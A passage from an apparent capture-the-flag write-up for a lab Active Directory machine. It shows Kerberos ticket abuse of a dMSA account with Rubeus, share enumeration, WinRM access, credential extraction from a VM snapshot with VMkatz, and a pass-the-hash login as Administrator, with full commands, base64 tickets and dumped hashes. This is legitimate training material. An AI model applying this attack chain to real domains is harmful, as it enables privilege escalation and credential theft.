      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

  ServiceName              :  cifs/dc01.checkpoint.htb
  ServiceRealm             :  CHECKPOINT.HTB
  UserName                 :  attacker_dmsa$ (NT_PRINCIPAL)
  UserRealm                :  checkpoint.htb
  StartTime                :  6/14/2026 2:13:37 PM
  EndTime                  :  6/14/2026 2:27:55 PM
  RenewTill                :  6/21/2026 2:12:19 PM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  uQP7ribbSwWo2bw4L6X4eWmTJF4IdXuUZWX7SS/x9PU=

Let's save the ticket on our attacking machine and use ticketConverter.py to convert the kirbi ticket to a ccache ticket.

echo -n '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' | base64 -d > ticket.kirbi

ticketConverter.py ticket.kirbi ticket.ccache

export KRB5CCNAME=ticket.ccache

Now, let's use the ticket with nxc to list the shares on the target machine and the permissions we have on them.

xc smb dc01.checkpoint.htb -d checkpoint.htb -u 'attacker_dmsa$' -k --use-kcache --shares
SMB         dc01.checkpoint.htb 445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         dc01.checkpoint.htb 445    DC01             [+] checkpoint.htb\attacker_dmsa$ from ccache
SMB         dc01.checkpoint.htb 445    DC01             [*] Enumerated shares
SMB         dc01.checkpoint.htb 445    DC01             Share           Permissions            Remark
SMB         dc01.checkpoint.htb 445    DC01             -----           -----------            ------
SMB         dc01.checkpoint.htb 445    DC01             ADMIN$                                 Remote Admin
SMB         dc01.checkpoint.htb 445    DC01             C$                                     Default share
SMB         dc01.checkpoint.htb 445    DC01             DevDrop                                VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         dc01.checkpoint.htb 445    DC01             IPC$            READ                   Remote IPC
SMB         dc01.checkpoint.htb 445    DC01             NETLOGON        READ                   Logon server share
SMB         dc01.checkpoint.htb 445    DC01             SYSVOL          READ                   Logon server share
SMB         dc01.checkpoint.htb 445    DC01             VMBackups       READ

As expected, now we can read VMBackups. Let's use smbclient.py to connect to the share.

smbclient.py -dc-ip 10.129.22.44 -k -no-pass 'checkpoint.htb'/'attacker_dmsa$'@dc01.checkpoint.htb
# use VMBackups
# ls
drw-rw-rw-          0  Wed May 13 13:58:05 2026 .
drw-rw-rw-          0  Sat May  9 14:42:27 2026 ..
drw-rw-rw-          0  Wed May 13 13:58:18 2026 NightlyBackup_2024-11-01
# cd NightlyBackup_2024-11-01
# ls
drw-rw-rw-          0  Wed May 13 13:58:18 2026 .
drw-rw-rw-          0  Wed May 13 13:58:05 2026 ..
drw-rw-rw-          0  Wed May 13 13:58:18 2026 memory forensics
# cd memory forensics
# ls
drw-rw-rw-          0  Wed May 13 13:58:18 2026 .
drw-rw-rw-          0  Wed May 13 13:58:18 2026 ..
-rw-rw-rw-  106496000  Wed May 13 13:58:18 2026 Windows Server 2019-000001.vmdk
-rw-rw-rw- 2147483648  Wed May 13 13:58:18 2026 Windows Server 2019-Snapshot1.vmem
-rw-rw-rw-  138164859  Thu May 14 22:32:32 2026 Windows Server 2019-Snapshot1.vmsn
-rw-rw-rw-     270840  Wed May 13 13:58:18 2026 Windows Server 2019.nvram
-rw-rw-rw-       7642  Wed May 13 13:58:18 2026 Windows Server 2019.scoreboard
-rw-rw-rw- 10199695360  Wed May 13 13:58:18 2026 Windows Server 2019.vmdk
-rw-rw-rw-        502  Wed May 13 13:58:18 2026 Windows Server 2019.vmsd
-rw-rw-rw-       2749  Wed May 13 13:58:18 2026 Windows Server 2019.vmx
-rw-rw-rw-        274  Wed May 13 13:58:18 2026 Windows Server 2019.vmxf

Some of those files are huge, and downloading them will take a long time. From bloodhound we see that svc_deploy is a member of the Remote Management Users group, so it can connect to the machine with winrm. The idea now is to request a ticket for the winrm service (HTTP/dc01.checkpoint.htb) and use evil-winrm to connect to the machine.

Back on the shell on the remote machine, run:

.\Rubeus.exe asktgs /user:attacker_dmsa$ /service:HTTP/dc01.checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:"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"
[*] base64(ticket.kirbi):

      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

  ServiceName              :  HTTP/dc01.checkpoint.htb
  ServiceRealm             :  CHECKPOINT.HTB
  UserName                 :  attacker_dmsa$ (NT_PRINCIPAL)
  UserRealm                :  checkpoint.htb
  StartTime                :  6/14/2026 2:35:42 PM
  EndTime                  :  6/14/2026 2:48:02 PM
  RenewTill                :  6/21/2026 2:12:19 PM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  SggjnbkdBBS7PsK/8zX96qQlvL7wTl+z8dAUqjzMGtA=

Then, on the attacking machine:

echo -n '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' | base64 -d > http_ticket.kirbi

ticketConverter.py http_ticket.kirbi http_ticket.ccache

export KRB5CCNAME=http_ticket.ccache

evil-winrm -i dc01.checkpoint.htb -r CHECKPOINT.HTB

And we get a shell as attacker_dmsa$. Now we can also access the VMBackups share at C:\Shares\VMBackups.

Using VMkatz to Extract Credentials

We can use VMkatz (https://github.com/nikaiw/VMkatz) to extract credentials from the files in the share. Upload it on the target machine into C:\tmp.

C:\tmp\vmkatz.exe "Windows Server 2019-Snapshot1.vmsn"
[*] vmkatz v1.4.5-beta.1
[*] System discovery: 11.3087328s
[*] Process enumeration: 3.1212ms
[*] Providers: MSV(ok) WDigest(ok) Kerberos(ok) TsPkg(empty) DPAPI(ok) SSP(empty) LiveSSP(n/a) Credman(empty) CloudAP(empty)
[*] Credential extraction: 31.0655ms

[+] 2 logon session(s), 2 with credentials:

  LUID: 0x3e4 (NETWORK SERVICE)
  Username: WIN-0DG6SJAEUTA$
  Domain: WORKGROUP
  [DPAPI]
    GUID          : 632b77c8-5e1a-4479-8e35-baa290fdd6ae
    MasterKey     : 15e104f6de4e478c6bf55252632a25b973fccd39c2be8cc0d5b15a5dec06029f02fe0a02a3e57eb3b55f077f83a283cd0a11f6b3c6508d9e585527de78dc989e
    SHA1 MasterKey: 44bb34a624afcd186909843e6cbdb4cfee908975
  [DPAPI]
    GUID          : 57e1a5d6-bbd4-44e9-a5c4-f4241b0821b0
    MasterKey     : 95f668c165e7c0b3bd1f525330e5a647b9c9c8da7320c6fbdb4518a588bac996567e04f22b28d4f7a2abd33fafe0958522bca1aaa0de00f5edb7d6742065642d
    SHA1 MasterKey: b2bf2c648554143d6b28b3c06a1ece7e40867238
  [DPAPI]
    GUID          : 4f09a449-22e7-4a65-a4b9-fac89cc25328
    MasterKey     : e4778f7e1b8351eade5c49bb8e32503fbbaa705bb7e26eef5785e0a8200e31fcc2458a4db00e03aaabef34bd47900beee2d8a5bb73ddd904fbe279089a1ea718
    SHA1 MasterKey: 90b1c277630e507a8e28d7b260a53f21712c3f1d

  LUID: 0x14016d
  Session: 2 | LogonType: Unknown
  Username: Administrator
  Domain: WIN-0DG6SJAEUTA
  LogonServer: WIN-0DG6SJAEUTA
  LogonTime: 2026-05-09 14:07:14 UTC
  SID: S-1-5-21-2823729479-30462974-3865623546-500
  [MSV1_0]
    NT Hash : f29e9c014295b9b32139b09a2790be3b
    SHA1    : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
    DPAPI   : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
  [DPAPI]
    GUID          : c53f7d5b-2902-415c-9c09-251f39974440
    MasterKey     : 32cc5c309067ca0994b849897a9b85b89511547030a1d8b74fe6e37ba037a4161301ffce692e6e433c3821dc18abfe208e1dc5c458de79d1352c6681e18bde15
    SHA1 MasterKey: b061f87be6d2776897d912fed9156a354b81a595

[*] 2 sessions, 1 NT hashes, 0 plaintext passwords

We have the nthash of Administrator: f29e9c014295b9b32139b09a2790be3b

Now we can connect to the DC with evil-winrm using that hash:

evil-winrm -i dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b

We get a shell as Administrator. The root flag is at the path: C:\Users\max.palmer\Desktop\root.txt